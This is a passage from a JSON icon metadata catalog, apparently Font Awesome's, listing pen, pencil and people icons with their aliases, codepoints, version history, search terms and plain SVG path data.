        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M362.7 19.3L314.3 67.7 444.3 197.7l48.4-48.4c25-25 25-65.5 0-90.5L453.3 19.3c-25-25-65.5-25-90.5 0zm-71 71L58.6 323.5c-10.4 10.4-18 23.3-22.2 37.4L1 481.2C-1.5 489.7 .8 498.8 7 505s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L421.7 220.3 291.7 90.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M362.7 19.3L314.3 67.7 444.3 197.7l48.4-48.4c25-25 25-65.5 0-90.5L453.3 19.3c-25-25-65.5-25-90.5 0zm-71 71L58.6 323.5c-10.4 10.4-18 23.3-22.2 37.4L1 481.2C-1.5 489.7 .8 498.8 7 505s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L421.7 220.3 291.7 90.3z"
      }
    },
    "free": ["solid"]
  },
  "pen-clip": {
    "aliases": {
      "names": ["pen-alt"],
      "unicodes": {
        "secondary": ["10f305"]
      }
    },
    "changes": [
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["design", "edit", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f305",
    "label": "Pen Clip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M453.3 19.3l39.4 39.4c25 25 25 65.5 0 90.5l-52.1 52.1 0 0-1-1 0 0-16-16-96-96-17-17 52.1-52.1c25-25 65.5-25 90.5 0zM241 114.9c-9.4-9.4-24.6-9.4-33.9 0L105 217c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L173.1 81c28.1-28.1 73.7-28.1 101.8 0L288 94.1l17 17 96 96 16 16 1 1-17 17L229.5 412.5c-48 48-109.2 80.8-175.8 94.1l-25 5c-7.9 1.6-16-.9-21.7-6.6s-8.1-13.8-6.6-21.7l5-25c13.3-66.6 46.1-127.8 94.1-175.8L254.1 128 241 114.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M453.3 19.3l39.4 39.4c25 25 25 65.5 0 90.5l-52.1 52.1 0 0-1-1 0 0-16-16-96-96-17-17 52.1-52.1c25-25 65.5-25 90.5 0zM241 114.9c-9.4-9.4-24.6-9.4-33.9 0L105 217c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L173.1 81c28.1-28.1 73.7-28.1 101.8 0L288 94.1l17 17 96 96 16 16 1 1-17 17L229.5 412.5c-48 48-109.2 80.8-175.8 94.1l-25 5c-7.9 1.6-16-.9-21.7-6.6s-8.1-13.8-6.6-21.7l5-25c13.3-66.6 46.1-127.8 94.1-175.8L254.1 128 241 114.9z"
      }
    },
    "free": ["solid"]
  },
  "pen-fancy": {
    "aliases": {
      "unicodes": {
        "composite": ["1f58b", "2712"],
        "secondary": ["10f5ac"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "black nib",
        "design",
        "edit",
        "fountain",
        "fountain pen",
        "nib",
        "pen",
        "update",
        "write"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5ac",
    "label": "Pen Fancy",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M373.5 27.1C388.5 9.9 410.2 0 433 0c43.6 0 79 35.4 79 79c0 22.8-9.9 44.6-27.1 59.6L277.7 319l-10.3-10.3-64-64L193 234.3 373.5 27.1zM170.3 256.9l10.4 10.4 64 64 10.4 10.4-19.2 83.4c-3.9 17.1-16.9 30.7-33.8 35.4L24.4 510.3l95.4-95.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3L1.7 487.6 51.5 310c4.7-16.9 18.3-29.9 35.4-33.8l83.4-19.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M373.5 27.1C388.5 9.9 410.2 0 433 0c43.6 0 79 35.4 79 79c0 22.8-9.9 44.6-27.1 59.6L277.7 319l-10.3-10.3-64-64L193 234.3 373.5 27.1zM170.3 256.9l10.4 10.4 64 64 10.4 10.4-19.2 83.4c-3.9 17.1-16.9 30.7-33.8 35.4L24.4 510.3l95.4-95.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3L1.7 487.6 51.5 310c4.7-16.9 18.3-29.9 35.4-33.8l83.4-19.2z"
      }
    },
    "free": ["solid"]
  },
  "pen-nib": {
    "aliases": {
      "unicodes": {
        "composite": ["2711"],
        "secondary": ["10f5ad"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "edit", "fountain pen", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f5ad",
    "label": "Pen Nib",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M368.4 18.3L312.7 74.1 437.9 199.3l55.7-55.7c21.9-21.9 21.9-57.3 0-79.2L447.6 18.3c-21.9-21.9-57.3-21.9-79.2 0zM288 94.6l-9.2 2.8L134.7 140.6c-19.9 6-35.7 21.2-42.3 41L3.8 445.8c-3.8 11.3-1 23.9 7.3 32.4L164.7 324.7c-3-6.3-4.7-13.3-4.7-20.7c0-26.5 21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48c-7.4 0-14.4-1.7-20.7-4.7L33.7 500.9c8.6 8.3 21.1 11.2 32.4 7.3l264.3-88.6c19.7-6.6 35-22.4 41-42.3l43.2-144.1 2.8-9.2L288 94.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M368.4 18.3L312.7 74.1 437.9 199.3l55.7-55.7c21.9-21.9 21.9-57.3 0-79.2L447.6 18.3c-21.9-21.9-57.3-21.9-79.2 0zM288 94.6l-9.2 2.8L134.7 140.6c-19.9 6-35.7 21.2-42.3 41L3.8 445.8c-3.8 11.3-1 23.9 7.3 32.4L164.7 324.7c-3-6.3-4.7-13.3-4.7-20.7c0-26.5 21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48c-7.4 0-14.4-1.7-20.7-4.7L33.7 500.9c8.6 8.3 21.1 11.2 32.4 7.3l264.3-88.6c19.7-6.6 35-22.4 41-42.3l43.2-144.1 2.8-9.2L288 94.6z"
      }
    },
    "free": ["solid"]
  },
  "pen-ruler": {
    "aliases": {
      "names": ["pencil-ruler"],
      "unicodes": {
        "secondary": ["10f5ae"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "draft", "draw", "pencil"]
    },
    "styles": ["solid"],
    "unicode": "f5ae",
    "label": "Pen Ruler",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M469.3 19.3l23.4 23.4c25 25 25 65.5 0 90.5l-56.4 56.4L322.3 75.7l56.4-56.4c25-25 65.5-25 90.5 0zM44.9 353.2L299.7 98.3 413.7 212.3 158.8 467.1c-6.7 6.7-15.1 11.6-24.2 14.2l-104 29.7c-8.4 2.4-17.4 .1-23.6-6.1s-8.5-15.2-6.1-23.6l29.7-104c2.6-9.2 7.5-17.5 14.2-24.2zM249.4 103.4L103.4 249.4 16 161.9c-18.7-18.7-18.7-49.1 0-67.9L94.1 16c18.7-18.7 49.1-18.7 67.9 0l19.8 19.8c-.3 .3-.7 .6-1 .9l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l64-64c.3-.3 .6-.7 .9-1l45.1 45.1zM408.6 262.6l45.1 45.1c-.3 .3-.7 .6-1 .9l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l64-64c.3-.3 .6-.7 .9-1L496 350.1c18.7 18.7 18.7 49.1 0 67.9L417.9 496c-18.7 18.7-49.1 18.7-67.9 0l-87.4-87.4L408.6 262.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M469.3 19.3l23.4 23.4c25 25 25 65.5 0 90.5l-56.4 56.4L322.3 75.7l56.4-56.4c25-25 65.5-25 90.5 0zM44.9 353.2L299.7 98.3 413.7 212.3 158.8 467.1c-6.7 6.7-15.1 11.6-24.2 14.2l-104 29.7c-8.4 2.4-17.4 .1-23.6-6.1s-8.5-15.2-6.1-23.6l29.7-104c2.6-9.2 7.5-17.5 14.2-24.2zM249.4 103.4L103.4 249.4 16 161.9c-18.7-18.7-18.7-49.1 0-67.9L94.1 16c18.7-18.7 49.1-18.7 67.9 0l19.8 19.8c-.3 .3-.7 .6-1 .9l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l64-64c.3-.3 .6-.7 .9-1l45.1 45.1zM408.6 262.6l45.1 45.1c-.3 .3-.7 .6-1 .9l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l64-64c.3-.3 .6-.7 .9-1L496 350.1c18.7 18.7 18.7 49.1 0 67.9L417.9 496c-18.7 18.7-49.1 18.7-67.9 0l-87.4-87.4L408.6 262.6z"
      }
    },
    "free": ["solid"]
  },
  "pen-to-square": {
    "aliases": {
      "names": ["edit"],
      "unicodes": {
        "secondary": ["10f044"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "pen", "pencil", "update", "write"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f044",
    "label": "Pen To Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M471.6 21.7c-21.9-21.9-57.3-21.9-79.2 0L362.3 51.7l97.9 97.9 30.1-30.1c21.9-21.9 21.9-57.3 0-79.2L471.6 21.7zm-299.2 220c-6.1 6.1-10.8 13.6-13.5 21.9l-29.6 88.8c-2.9 8.6-.6 18.1 5.8 24.6s15.9 8.7 24.6 5.8l88.8-29.6c8.2-2.7 15.7-7.4 21.9-13.5L437.7 172.3 339.7 74.3 172.4 241.7zM96 64C43 64 0 107 0 160V416c0 53 43 96 96 96H352c53 0 96-43 96-96V320c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M471.6 21.7c-21.9-21.9-57.3-21.9-79.2 0L362.3 51.7l97.9 97.9 30.1-30.1c21.9-21.9 21.9-57.3 0-79.2L471.6 21.7zm-299.2 220c-6.1 6.1-10.8 13.6-13.5 21.9l-29.6 88.8c-2.9 8.6-.6 18.1 5.8 24.6s15.9 8.7 24.6 5.8l88.8-29.6c8.2-2.7 15.7-7.4 21.9-13.5L437.7 172.3 339.7 74.3 172.4 241.7zM96 64C43 64 0 107 0 160V416c0 53 43 96 96 96H352c53 0 96-43 96-96V320c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H96z"
      },
      "regular": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M441 58.9L453.1 71c9.4 9.4 9.4 24.6 0 33.9L424 134.1 377.9 88 407 58.9c9.4-9.4 24.6-9.4 33.9 0zM209.8 256.2L344 121.9 390.1 168 255.8 302.2c-2.9 2.9-6.5 5-10.4 6.1l-58.5 16.7 16.7-58.5c1.1-3.9 3.2-7.5 6.1-10.4zM373.1 25L175.8 222.2c-8.7 8.7-15 19.4-18.3 31.1l-28.6 100c-2.4 8.4-.1 17.4 6.1 23.6s15.2 8.5 23.6 6.1l100-28.6c11.8-3.4 22.5-9.7 31.1-18.3L487 138.9c28.1-28.1 28.1-73.7 0-101.8L474.9 25C446.8-3.1 401.2-3.1 373.1 25zM88 64C39.4 64 0 103.4 0 152V424c0 48.6 39.4 88 88 88H360c48.6 0 88-39.4 88-88V312c0-13.3-10.7-24-24-24s-24 10.7-24 24V424c0 22.1-17.9 40-40 40H88c-22.1 0-40-17.9-40-40V152c0-22.1 17.9-40 40-40H200c13.3 0 24-10.7 24-24s-10.7-24-24-24H88z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M441 58.9L453.1 71c9.4 9.4 9.4 24.6 0 33.9L424 134.1 377.9 88 407 58.9c9.4-9.4 24.6-9.4 33.9 0zM209.8 256.2L344 121.9 390.1 168 255.8 302.2c-2.9 2.9-6.5 5-10.4 6.1l-58.5 16.7 16.7-58.5c1.1-3.9 3.2-7.5 6.1-10.4zM373.1 25L175.8 222.2c-8.7 8.7-15 19.4-18.3 31.1l-28.6 100c-2.4 8.4-.1 17.4 6.1 23.6s15.2 8.5 23.6 6.1l100-28.6c11.8-3.4 22.5-9.7 31.1-18.3L487 138.9c28.1-28.1 28.1-73.7 0-101.8L474.9 25C446.8-3.1 401.2-3.1 373.1 25zM88 64C39.4 64 0 103.4 0 152V424c0 48.6 39.4 88 88 88H360c48.6 0 88-39.4 88-88V312c0-13.3-10.7-24-24-24s-24 10.7-24 24V424c0 22.1-17.9 40-40 40H88c-22.1 0-40-17.9-40-40V152c0-22.1 17.9-40 40-40H200c13.3 0 24-10.7 24-24s-10.7-24-24-24H88z"
      }
    },
    "free": ["regular", "solid"]
  },
  "pencil": {
    "aliases": {
      "names": ["pencil-alt"],
      "unicodes": {
        "composite": ["270f", "f040"],
        "primary": ["f040"],
        "secondary": ["10f040", "10f303"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Lower Left Pencil",
        "design",
        "draw",
        "edit",
        "lead",
        "pencil",
        "update",
        "write"
      ]
    },
    "styles": ["solid"],
    "unicode": "f303",
    "label": "Pencil",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M410.3 231l11.3-11.3-33.9-33.9-62.1-62.1L291.7 89.8l-11.3 11.3-22.6 22.6L58.6 322.9c-10.4 10.4-18 23.3-22.2 37.4L1 480.7c-2.5 8.4-.2 17.5 6.1 23.7s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L387.7 253.7 410.3 231zM160 399.4l-9.1 22.7c-4 3.1-8.5 5.4-13.3 6.9L59.4 452l23-78.1c1.4-4.9 3.8-9.4 6.9-13.3l22.7-9.1v32c0 8.8 7.2 16 16 16h32zM362.7 18.7L348.3 33.2 325.7 55.8 314.3 67.1l33.9 33.9 62.1 62.1 33.9 33.9 11.3-11.3 22.6-22.6 14.5-14.5c25-25 25-65.5 0-90.5L453.3 18.7c-25-25-65.5-25-90.5 0zm-47.4 168l-144 144c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l144-144c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M410.3 231l11.3-11.3-33.9-33.9-62.1-62.1L291.7 89.8l-11.3 11.3-22.6 22.6L58.6 322.9c-10.4 10.4-18 23.3-22.2 37.4L1 480.7c-2.5 8.4-.2 17.5 6.1 23.7s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L387.7 253.7 410.3 231zM160 399.4l-9.1 22.7c-4 3.1-8.5 5.4-13.3 6.9L59.4 452l23-78.1c1.4-4.9 3.8-9.4 6.9-13.3l22.7-9.1v32c0 8.8 7.2 16 16 16h32zM362.7 18.7L348.3 33.2 325.7 55.8 314.3 67.1l33.9 33.9 62.1 62.1 33.9 33.9 11.3-11.3 22.6-22.6 14.5-14.5c25-25 25-65.5 0-90.5L453.3 18.7c-25-25-65.5-25-90.5 0zm-47.4 168l-144 144c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l144-144c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "people-arrows": {
    "aliases": {
      "names": ["people-arrows-left-right"],
      "unicodes": {
        "secondary": ["10e068"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "distance",
        "isolation",
        "separate",
        "social distancing",
        "users-people"
      ]
    },
    "styles": ["solid"],
    "unicode": "e068",
    "label": "People Arrows",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 64a64 64 0 1 1 128 0A64 64 0 1 1 64 64zM25.9 233.4C29.3 191.9 64 160 105.6 160h44.8c27 0 51 13.4 65.5 34.1c-2.7 1.9-5.2 4-7.5 6.3l-64 64c-21.9 21.9-21.9 57.3 0 79.2L192 391.2V464c0 26.5-21.5 48-48 48H112c-26.5 0-48-21.5-48-48V348.3c-26.5-9.5-44.7-35.8-42.2-65.6l4.1-49.3zM448 64a64 64 0 1 1 128 0A64 64 0 1 1 448 64zM431.6 200.4c-2.3-2.3-4.9-4.4-7.5-6.3c14.5-20.7 38.6-34.1 65.5-34.1h44.8c41.6 0 76.3 31.9 79.7 73.4l4.1 49.3c2.5 29.8-15.7 56.1-42.2 65.6V464c0 26.5-21.5 48-48 48H496c-26.5 0-48-21.5-48-48V391.2l47.6-47.6c21.9-21.9 21.9-57.3 0-79.2l-64-64zM272 240v32h96V240c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l64 64c9.4 9.4 9.4 24.6 0 33.9l-64 64c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V336H272v32c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-64-64c-9.4-9.4-9.4-24.6 0-33.9l64-64c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 64a64 64 0 1 1 128 0A64 64 0 1 1 64 64zM25.9 233.4C29.3 191.9 64 160 105.6 160h44.8c27 0 51 13.4 65.5 34.1c-2.7 1.9-5.2 4-7.5 6.3l-64 64c-21.9 21.9-21.9 57.3 0 79.2L192 391.2V464c0 26.5-21.5 48-48 48H112c-26.5 0-48-21.5-48-48V348.3c-26.5-9.5-44.7-35.8-42.2-65.6l4.1-49.3zM448 64a64 64 0 1 1 128 0A64 64 0 1 1 448 64zM431.6 200.4c-2.3-2.3-4.9-4.4-7.5-6.3c14.5-20.7 38.6-34.1 65.5-34.1h44.8c41.6 0 76.3 31.9 79.7 73.4l4.1 49.3c2.5 29.8-15.7 56.1-42.2 65.6V464c0 26.5-21.5 48-48 48H496c-26.5 0-48-21.5-48-48V391.2l47.6-47.6c21.9-21.9 21.9-57.3 0-79.2l-64-64zM272 240v32h96V240c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l64 64c9.4 9.4 9.4 24.6 0 33.9l-64 64c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V336H272v32c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-64-64c-9.4-9.4-9.4-24.6 0-33.9l64-64c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2z"
      }
    },
    "free": ["solid"]
  },
  "people-carry-box": {
    "aliases": {
      "names": ["people-carry"],
      "unicodes": {
        "secondary": ["10f4ce"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4ce",
    "label": "People Carry Box",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M80 48a48 48 0 1 1 96 0A48 48 0 1 1 80 48zm64 193.7v65.1l51 51c7.1 7.1 11.8 16.2 13.4 26.1l15.2 90.9c2.9 17.4-8.9 33.9-26.3 36.8s-33.9-8.9-36.8-26.3l-14.3-85.9L66.8 320C54.8 308 48 291.7 48 274.7V186.6c0-32.4 26.2-58.6 58.6-58.6c24.1 0 46.5 12 59.9 32l47.4 71.1 10.1 5V160c0-17.7 14.3-32 32-32H384c17.7 0 32 14.3 32 32v76.2l10.1-5L473.5 160c13.3-20 35.8-32 59.9-32c32.4 0 58.6 26.2 58.6 58.6v88.1c0 17-6.7 33.3-18.7 45.3l-79.4 79.4-14.3 85.9c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8l15.2-90.9c1.6-9.9 6.3-19 13.4-26.1l51-51V241.7l-19 28.5c-4.6 7-11 12.6-18.5 16.3l-59.6 29.8c-2.4 1.3-4.9 2.2-7.6 2.8c-2.6 .6-5.3 .9-7.9 .8H256.7c-2.5 .1-5-.2-7.5-.7c-2.9-.6-5.6-1.6-8.1-3l-59.5-29.8c-7.5-3.7-13.8-9.4-18.5-16.3l-19-28.5zM2.3 468.1L50.1 348.6l49.2 49.2-37.6 94c-6.6 16.4-25.2 24.4-41.6 17.8S-4.3 484.5 2.3 468.1zM512 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm77.9 348.6l47.8 119.5c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8l-37.6-94 49.2-49.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M80 48a48 48 0 1 1 96 0A48 48 0 1 1 80 48zm64 193.7v65.1l51 51c7.1 7.1 11.8 16.2 13.4 26.1l15.2 90.9c2.9 17.4-8.9 33.9-26.3 36.8s-33.9-8.9-36.8-26.3l-14.3-85.9L66.8 320C54.8 308 48 291.7 48 274.7V186.6c0-32.4 26.2-58.6 58.6-58.6c24.1 0 46.5 12 59.9 32l47.4 71.1 10.1 5V160c0-17.7 14.3-32 32-32H384c17.7 0 32 14.3 32 32v76.2l10.1-5L473.5 160c13.3-20 35.8-32 59.9-32c32.4 0 58.6 26.2 58.6 58.6v88.1c0 17-6.7 33.3-18.7 45.3l-79.4 79.4-14.3 85.9c-2.9 17.4-19.4 29.2-36.8 26.3s-29.2-19.4-26.3-36.8l15.2-90.9c1.6-9.9 6.3-19 13.4-26.1l51-51V241.7l-19 28.5c-4.6 7-11 12.6-18.5 16.3l-59.6 29.8c-2.4 1.3-4.9 2.2-7.6 2.8c-2.6 .6-5.3 .9-7.9 .8H256.7c-2.5 .1-5-.2-7.5-.7c-2.9-.6-5.6-1.6-8.1-3l-59.5-29.8c-7.5-3.7-13.8-9.4-18.5-16.3l-19-28.5zM2.3 468.1L50.1 348.6l49.2 49.2-37.6 94c-6.6 16.4-25.2 24.4-41.6 17.8S-4.3 484.5 2.3 468.1zM512 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm77.9 348.6l47.8 119.5c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8l-37.6-94 49.2-49.2z"
      }
    },
    "free": ["solid"]
  },
  "people-group": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["family", "group", "team"]
    },
    "styles": ["solid"],
    "unicode": "e533",
    "label": "People Group",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M72 88a56 56 0 1 1 112 0A56 56 0 1 1 72 88zM64 245.7C54 256.9 48 271.8 48 288s6 31.1 16 42.3V245.7zm144.4-49.3C178.7 222.7 160 261.2 160 304c0 34.3 12 65.8 32 90.5V416c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V389.2C26.2 371.2 0 332.7 0 288c0-61.9 50.1-112 112-112h32c24 0 46.2 7.5 64.4 20.3zM448 416V394.5c20-24.7 32-56.2 32-90.5c0-42.8-18.7-81.3-48.4-107.7C449.8 183.5 472 176 496 176h32c61.9 0 112 50.1 112 112c0 44.7-26.2 83.2-64 101.2V416c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32zm8-328a56 56 0 1 1 112 0A56 56 0 1 1 456 88zM576 245.7v84.7c10-11.3 16-26.1 16-42.3s-6-31.1-16-42.3zM320 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM240 304c0 16.2 6 31 16 42.3V261.7c-10 11.3-16 26.1-16 42.3zm144-42.3v84.7c10-11.3 16-26.1 16-42.3s-6-31.1-16-42.3zM448 304c0 44.7-26.2 83.2-64 101.2V448c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V405.2c-37.8-18-64-56.5-64-101.2c0-61.9 50.1-112 112-112h32c61.9 0 112 50.1 112 112z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M72 88a56 56 0 1 1 112 0A56 56 0 1 1 72 88zM64 245.7C54 256.9 48 271.8 48 288s6 31.1 16 42.3V245.7zm144.4-49.3C178.7 222.7 160 261.2 160 304c0 34.3 12 65.8 32 90.5V416c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V389.2C26.2 371.2 0 332.7 0 288c0-61.9 50.1-112 112-112h32c24 0 46.2 7.5 64.4 20.3zM448 416V394.5c20-24.7 32-56.2 32-90.5c0-42.8-18.7-81.3-48.4-107.7C449.8 183.5 472 176 496 176h32c61.9 0 112 50.1 112 112c0 44.7-26.2 83.2-64 101.2V416c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32zm8-328a56 56 0 1 1 112 0A56 56 0 1 1 456 88zM576 245.7v84.7c10-11.3 16-26.1 16-42.3s-6-31.1-16-42.3zM320 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM240 304c0 16.2 6 31 16 42.3V261.7c-10 11.3-16 26.1-16 42.3zm144-42.3v84.7c10-11.3 16-26.1 16-42.3s-6-31.1-16-42.3zM448 304c0 44.7-26.2 83.2-64 101.2V448c0 17.7-14.3 32-32 32H288c-17.7 0-32-14.3-32-32V405.2c-37.8-18-64-56.5-64-101.2c0-61.9 50.1-112 112-112h32c61.9 0 112 50.1 112 112z"
      }
    },
    "free": ["solid"]
  },
  "people-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["group", "need"]
    },
    "styles": ["solid"],
    "unicode": "e534",
    "label": "People Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M360 72a40 40 0 1 0 -80 0 40 40 0 1 0 80 0zM144 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM496 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zM200 313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-36.3-67.5c1.7-1.7 3.2-3.6 4.3-5.8L264 217.5V272c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V217.5l26.9 49.9c1.2 2.2 2.6 4.1 4.3 5.8l-36.3 67.5c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L440 313.5V352c0 17.7 14.3 32 32 32h48c17.7 0 32-14.3 32-32V313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H486.2c-16.3 0-31.9 4.5-45.4 12.6l-33.6-62.3c-15.3-28.5-45.1-46.3-77.5-46.3H310.2c-32.4 0-62.1 17.8-77.5 46.3l-33.6 62.3c-13.5-8.1-29.1-12.6-45.4-12.6H134.2c-32.4 0-62.1 17.8-77.5 46.3L18.9 340.6c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L88 313.5V352c0 17.7 14.3 32 